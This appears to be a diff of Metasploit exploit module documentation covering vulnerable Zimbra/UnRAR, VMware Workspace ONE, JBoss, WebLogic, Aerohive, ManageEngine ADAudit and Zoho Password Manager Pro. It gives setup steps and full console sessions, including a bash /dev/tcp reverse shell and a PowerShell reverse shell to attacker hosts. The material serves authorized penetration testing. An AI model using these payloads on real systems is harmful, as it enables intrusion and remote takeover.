[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.23:51870) at 2022-08-03 11:26:51 +0200
|
||||
[*] Command Stager progress - 100.00% done (823/823 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.0.23
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-122-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,92 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
|
||||
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
|
||||
|
||||
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
|
||||
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
|
||||
|
||||
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
|
||||
|
||||
```
|
||||
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
|
||||
# reboot
|
||||
```
|
||||
|
||||
And to verify:
|
||||
|
||||
```
|
||||
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
|
||||
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
|
||||
```
|
||||
|
||||
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To exploit Zimbra, first load the module and generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
[+] File created! Email the file above to any user on the target Zimbra server
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[...] waiting [...]
|
||||
```
|
||||
|
||||
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
|
||||
|
||||
```
|
||||
[...]
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: zimbra
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
|
||||
|
||||
### `TARGET_FILENAME`
|
||||
|
||||
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
|
||||
|
||||
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
|
||||
|
||||
### `TRIGGER_PAYLOAD`
|
||||
|
||||
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
|
||||
|
||||
### `ListenerTimeout`
|
||||
|
||||
The number of seconds to wait for a new session (default = `0`, or infinite).
|
||||
|
||||
### `CheckInterval`
|
||||
|
||||
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
## Vulnerable Application
|
||||
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of
|
||||
the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control
|
||||
is permitted via the sudo configuration without a password.
|
||||
|
||||
### Setup
|
||||
|
||||
To exploit this vulnerability in conjunction with CVE-2022-22954, follow [Installing and Configuring VMware Workspace
|
||||
ONE Access] or simply import the OVA into a **VMware hypervisor**. The target should be vulnerable to both
|
||||
vulnerabilities out of the box.
|
||||
|
||||
The HW-150533, HW-154129, and HW-156875 patches may be optionally applied. In this case, a session will need to be
|
||||
opened by some means to the appliance as the `horizon` user in order to be exploitable. This is most easily accomplished
|
||||
by [resetting the root password], logging in locally, and then configuring SSH. Patches can be obtained from [VMware's
|
||||
Website]. Steps to reset the `root` password are available [here].
|
||||
|
||||
[Installing and Configuring VMware Workspace ONE Access]: https://docs.vmware.com/en/VMware-Workspace-ONE-Access/21.08/workspace_one_access_install/GUID-0FABD001-050B-4A54-B100-2FA4E8F55613.html
|
||||
[VMware's Website]: https://customerconnect.vmware.com/en/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1192&rPId=79985
|
||||
[resetting the root password]: https://kb.vmware.com/s/article/76530
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Setup a vulnerable VMware instance (see the steps above).
|
||||
2. Start msfconsole.
|
||||
3. Obtain a session on the vulnerable instance.
|
||||
* It is recommend to use either `exploit/linux/http/vmware_workspace_one_access_cve_2022_22954` if the target is
|
||||
vulnerable to it or, alternatively, `exploit/multi/ssh/sshexec`.
|
||||
4. Do: `set SESSION -1`
|
||||
5. Optionally set the PAYLOAD and related options.
|
||||
6. Do: `run`
|
||||
7. If the target is vulnerable, the payload should be executed.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware Workspace ONE Access 21.08.0.1
|
||||
In the following scenario, initial access is gained by first exploiting CVE-2022-22954. Once the session is opened, it
|
||||
is elevated to root by exploiting CVE-2022-31660.
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options
|
||||
|
||||
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.98 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
|
||||
[*] Sending stage (40132 bytes) to 192.168.159.98
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : photon-machine
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > getuid
|
||||
Server username: horizon
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Backing up the original file...
|
||||
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
|
||||
[*] Triggering the payload...
|
||||
[*] Sending stage (40132 bytes) to 192.168.250.237
|
||||
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
|
||||
[*] Restoring file contents...
|
||||
[*] Restoring file permissions...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : photon-machine
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -18,6 +18,17 @@ exploitation can take a few minutes.
|
||||
6. Verify the module yields a PHP meterpreter session in < 5 minutes
|
||||
7. Verify the malicious PHP file was automatically removed
|
||||
|
||||
## Options
|
||||
|
||||
### WAIT_TIMEOUT
|
||||
Seconds to wait to trigger the payload
|
||||
### NameField
|
||||
Name of the element for the Name field
|
||||
### EmailField
|
||||
Name of the element for the Email field
|
||||
### MessageField
|
||||
Name of the element for the Message field
|
||||
|
||||
## Scenarios
|
||||
|
||||
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a Java deserialization vulnerability in JBOSS
|
||||
EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior.
|
||||
|
||||
### Setup
|
||||
|
||||
#### Dockerfile
|
||||
```dockerfile
|
||||
FROM jboss/base-jdk:8
|
||||
|
||||
# Set the JBOSS_VERSION env variable
|
||||
ENV JBOSS_HOME /opt/jboss/jboss-as-6.1
|
||||
ENV EAP_HOME /opt/jboss/jboss-as-6.1
|
||||
|
||||
# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content
|
||||
# https://jbossas.jboss.org/downloads
|
||||
RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip
|
||||
RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \
|
||||
&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \
|
||||
&& chmod a+x $EAP_HOME/bin/*
|
||||
|
||||
# Ensure signals are forwarded to the JVM process correctly for graceful shutdown
|
||||
#ENV LAUNCH_JBOSS_IN_BACKGROUND true
|
||||
|
||||
# Enable binding to all network interfaces and debugging inside the EAP
|
||||
RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf
|
||||
|
||||
# Expose the ports we're interested in
|
||||
EXPOSE 8080 9990 4447 9999 4446 3873 4445
|
||||
|
||||
# Set the default command to run on boot
|
||||
# This will boot JBoss EAP in the standalone mode and bind to all interface
|
||||
ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"]
|
||||
```
|
||||
|
||||
#### docker-compose.yml
|
||||
|
||||
```yml
|
||||
version: "3"
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "9990:9990"
|
||||
- "4447:4447"
|
||||
- "9999:9999"
|
||||
- "4446:4446"
|
||||
- "3873:3873"
|
||||
- "4445:4445"
|
||||
networks:
|
||||
internet:
|
||||
aliases:
|
||||
- jboss-as-61
|
||||
networks:
|
||||
internet:
|
||||
driver: bridge
|
||||
```
|
||||
|
||||
```bash
|
||||
docker-compose up
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
This executes a Unix command.
|
||||
|
||||
### 1
|
||||
|
||||
This uses a Linux dropper to execute code.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### JBoss Application Server 6.1.0 from [Docker](#setup).
|
||||
|
||||
```
|
||||
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options
|
||||
|
||||
Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS localhost yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 4446 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.15 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.15:4444
|
||||
[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 127.0.0.1:4446 - The target appears to be vulnerable.
|
||||
[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash
|
||||
[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70'
|
||||
[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 00:06:09 +0200
|
||||
|
||||
id
|
||||
uid=1000(jboss) gid=1000(jboss) groups=1000(jboss)
|
||||
pwd
|
||||
/opt/jboss
|
||||
/opt/jboss/jboss-as-6.1/bin/run.sh --version
|
||||
=========================================================================
|
||||
|
||||
JBoss Bootstrap Environment
|
||||
|
||||
JBOSS_HOME: /opt/jboss/jboss-as-6.1
|
||||
|
||||
JAVA: /usr/lib/jvm/java/bin/java
|
||||
|
||||
JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64
|
||||
|
||||
CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar
|
||||
|
||||
=========================================================================
|
||||
|
||||
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0
|
||||
JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816)
|
||||
|
||||
Distributable under LGPL license.
|
||||
See terms of license at gnu.org.
|
||||
|
||||
exit
|
||||
[*] 127.0.0.1 - Command shell session 1 closed.
|
||||
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) >
|
||||
```
|
||||
+14
-4
@@ -1,8 +1,14 @@
|
||||
## Vulnerable Application
|
||||
|
||||
CVE-2017-10271 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component. The exploit provides an unauthenticated attacker with remote arbitrary command execution.
|
||||
CVE-2019-2725 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component.
|
||||
The exploit provides an unauthenticated attacker with remote arbitrary command execution.
|
||||
|
||||
Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments. It is downloadable from Oracle once registered for an account. For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`), Weblogic 10.3.6 for Windows (`wls1036_dev.zip`). For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`) in combination with a JDK (`jdk-8u211-windows-x64.exe`).
|
||||
Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments.
|
||||
It is downloadable from Oracle once registered for an account.
|
||||
For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`),
|
||||
Weblogic 10.3.6 for Windows (`wls1036_dev.zip`).
|
||||
For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`)
|
||||
in combination with a JDK (`jdk-8u211-windows-x64.exe`).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -13,7 +19,10 @@ Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environ
|
||||
3. When prompted, use a development environment instead of a production environment.
|
||||
4. When prompted, keep the default port of TCP/7001.
|
||||
5. When prompted, provide a username and password, and make a note of them.
|
||||
6. Upon completion of the installer, find and execute the admin server. On Windows: `C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`. On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh`
|
||||
6. Upon completion of the installer, find and execute the admin server.
|
||||
On Windows:
|
||||
`C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`.
|
||||
On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh`
|
||||
7. You may be prompted for the username and password you generated during the install process.
|
||||
8. Wait for the output: `<Server state changed to RUNNING.>`
|
||||
|
||||
@@ -39,7 +48,8 @@ msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI** : Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. You can also set `VHOST` instead to handle virtual hosts.
|
||||
### TARGETURI
|
||||
Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -19,10 +19,9 @@ This request includes two POST parameters:
|
||||
2. The parameter that is used to execute commands via `/tmp/messages`.
|
||||
In our example the name would be `cmd`, but the module sets this to an arbitrary value.
|
||||
|
||||
Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open.
|
||||
Closing the session should render the app responsive again. It is also possible that enabling the meterpreter option
|
||||
'TryToFork` might prevent the application hang after exploitation, but given access constraints we were unable to verify the
|
||||
resultant behavior for enabling that option. Try at your own risk (but let us know how it goes if you do).
|
||||
Upon successful exploitation, the Aerohive NetConfig application may hang for as long as the spawned shell remains open.
|
||||
If the Linux target is selected with a meterpreter payload, the `MeterpreterTryToFork` option is likely to prevent this,
|
||||
and is therefore enabled by default. If the app does hang, closing the session should render the app responsive again.
|
||||
|
||||
The module provides an automatic cleanup option to clean the log.
|
||||
However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed,
|
||||
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable application is ManageEngine ADAudit Plus prior to build 7060. I built and tested this on build 7055, which, at least at the time of this writing, you can download [here](https://archives2.manageengine.com/active-directory-audit/). It's a .exe file that you can install with all the defaults.
|
||||
|
||||
You also need to configure ADAudit to actually audit a domain. That means setting up a domain (I created a domain controller in the lab), and configuring ADAudit to scan that domain. That domain name must be set to the `DOMAIN` when using this exploit.
|
||||
|
||||
The last thing is, three connect-back ports must be open from the target back to Metasploit (in addition to whatever payload ports). By default, we use ports 8080 and 8888 for HTTP, and 2121 for FTP.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Do: `set RHOSTS <IP>`
|
||||
3. Do: `set DOMAIN <DOMAIN_NAME>`
|
||||
4. Do: `exploit`
|
||||
5. You should get a meterpreter session
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219
|
||||
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set RHOSTS 10.0.0.148
|
||||
RHOSTS => 10.0.0.148
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set DOMAIN ad.example.local
|
||||
DOMAIN => ad.example.local
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. The vulnerable endpoint responds with HTTP/200.
|
||||
[*] Attempting to exploit XXE to get a list of users
|
||||
[*] Using URL: http://10.0.0.146:8080/KEmvnPFxS.dtd
|
||||
[*] User accounts discovered: Ron
|
||||
[*] Enumerating old payloads cached on the server (to skip later)
|
||||
[*] Using URL: http://10.0.0.146:8080/NvkXTJXRyhV.dtd
|
||||
[*] Attempting to exploit XXE to store our serialized payload on the server
|
||||
[*] Trying to find our payload in all users' temp folders
|
||||
[*] Using URL: http://10.0.0.146:8080/ppVHiihu.dtd
|
||||
[*] Executing payload: /users/Ron/appdata/local/temp/jar_cache4413164256015023251.tmp...
|
||||
[*] Sending stage (175686 bytes) to 10.0.0.148
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.148:52347) at 2022-07-07 15:19:59 -0700
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI_DESERIALIZATION / TARGETURI_XXE
|
||||
|
||||
The target URLs - probably won't ever need to be changed
|
||||
|
||||
### DOMAIN
|
||||
|
||||
A domain that the target monitors. We cannot validate this, but if the exploit should work and doesn't, this might be the issue.
|
||||
|
||||
### SRVPORT / SRVPORT_FTP / SRVPORT_HTTP2
|
||||
|
||||
The connect-back ports.
|
||||
|
||||
* `SRVPORT` is used to host XXE payloads
|
||||
* `SRVPORT_HTTP2` is used for an XXE payload that is held open, creating a temporary file on the server
|
||||
* `SRVPORT_FTP` is used for a fake off-spec FTP server that receives a directory listing also via XXE
|
||||
|
||||
# PATH_TRAVERSAL_DEPTH
|
||||
|
||||
The number of `../` to add to the request
|
||||
|
||||
# FtpCallbackTimeout / HttpUploadTimeout
|
||||
|
||||
How long to wait for FTP or HTTP responses before giving up
|
||||
@@ -0,0 +1,185 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a unauthenticated deserialization vulnerability in the XML RPC interface exposed by Zoho
|
||||
ManageEngine Password Manager Pro before 12101 and PAM360 before 5510. Note that ManageEngine Access Manager Plus
|
||||
before 4303 is also affected provided one provides credentials, however this is not targeted by this exploit.
|
||||
|
||||
Successful exploitation results in unauthenticated RCE as the `NT AUTHORITY\SYSTEM` user.
|
||||
|
||||
### Installation
|
||||
Vulnerable software for testing can be downloaded [here](https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe).
|
||||
The patch can be downloaded from [here](https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm)
|
||||
|
||||
When installing the software follow the defaults. You can skip the registration however or any parts where you need
|
||||
to fill in additional details to continue (these should have a `Skip` button so you can skip them).
|
||||
|
||||
## Verification Steps
|
||||
1. Follow the installation instructions above.
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
7. Do: `set payload [payload]`
|
||||
8. Do: `set LHOST [IP]`
|
||||
9. Optional: `set LPORT [local port to listen on]`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
## Targets
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows EXE Dropper
|
||||
1 Windows Command
|
||||
2 Windows Powershell
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
### ManageEngine Password Manager Pro 12100 Running on Windows 11
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
|
||||
[*] Using configured payload cmd/windows/reverse_powershell
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94
|
||||
RHOSTS => 172.17.245.94
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112
|
||||
LHOST => 172.17.255.112
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899
|
||||
LPORT => 8899
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.17.245.94 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
|
||||
ploit
|
||||
RPORT 7272 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local
|
||||
machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/reverse_powershell):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.17.255.112 yes The listen address (an interface may be specified)
|
||||
LPORT 8899 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.255.112:8899
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Target can deserialize arbitrary data.
|
||||
[*] Executing Windows Command for cmd/windows/reverse_powershell
|
||||
[+] Successfully executed command: powershell -w hidden -nop -c $a='172.17.255.112';$b=8899;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); 